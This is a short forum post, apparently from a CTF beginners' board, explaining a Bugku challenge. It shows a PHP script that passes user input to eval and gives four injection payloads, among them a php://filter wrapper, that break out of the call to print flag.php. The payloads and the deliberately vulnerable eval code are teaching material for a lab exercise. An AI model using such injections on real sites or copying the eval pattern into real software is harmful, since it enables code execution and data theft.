[新手入门] Bugku-本地包含

[复制链接]
查看8929 | 回复0 | 2020-2-7 19:41:18 | 显示全部楼层 |阅读模式
这道题有四种写入方式:
1、?hello=);show_source(%27flag.php%27);//
2、?hello=);include $_POST['zzz'];//
POST传参:zzz=php://filter/read=convert.base64-encode/resource=flag.php
3、?hello=file(%27flag.php%27)
4、?hello=show_source('flag.php')
源码:
<?php        include "flag.php";  //flag存储在flag.php这个脚本里,但是被注释掉了,我们需要把flag.php的源码整个显示出来        $a = @$_REQUEST['hello'];  //无论是以POST还是GET方式,都可以给$a赋值        eval("var_dump($a);")  //var_dump可以输出变量的类型和值,详见手册        show_source(__FILE__);?>解析:以第一种payload为例首先我们知道eval()函数可以以字符串作为PHP代码执行,所以$a=);show_source(%27flag.php%27);//=>eval("var_dump();show_source(%27flag.php%27);//);")很明显,);将之前的函数闭合了,真正执行的函数变成了后面的show_source(),而原来的);作为注释被忽略了后面几种都是这样的思想,与sql注入很相似
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

27

主题

27

帖子

147

积分

小有名气

Rank: 3Rank: 3

积分
147